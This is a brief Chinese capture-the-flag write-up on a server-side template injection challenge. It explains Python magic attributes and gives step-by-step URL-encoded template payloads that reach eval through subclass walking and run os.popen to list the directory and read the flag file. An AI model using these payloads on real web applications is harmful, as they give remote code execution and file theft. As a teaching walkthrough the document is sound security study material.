可以知道题目是template injection题目。
?由此可知,说明存在“SSTI”。关于SSTI即服务端模板注入攻击,服务端接受用户输入,将其作为 Web 应用模板的一部分,渲染编译后执行了恶意内容,导致敏感信息泄露、代码执行等。
常规的魔术方法,如下。可以在博客CTF 中常见 Python 题型 SSTI - 网安有其他问题的介绍。
__class__ #返回type类型,查看对象的类型
__bases__ #返回tuple类型,列出该类的基类
__mro__ #返回tuple类型,给出解析方法调用的顺序
__subclasses__() #返回内建方法builtin_function_or_method,获取一个类的子类
__globals__ #返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量,
?构建语句"%7B%7B[].__class__.__base__.__subclasses__()%7D%7D "。查看所有的模块。
?os模块都是从warnings.catch_warnings模块入手的,因此我们需要在所有模块中查找catch_warnings的位置。
?在第59个位置,因此构建语句"%7B%7B[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()%7D%7D ",查看该模块存在哪些函数,在lineche函数中存在着os模块。
?构建语句查看当前目录,“%7B%7B ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22 ).popen(%22ls%22 ).read()' )%7D%7D ”
?flag在fl4g中,直接将上述语句改成“%7B%7B ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22 ).popen(%22cat fl4g%22 ).read()' )%7D%7D ”
?
?
|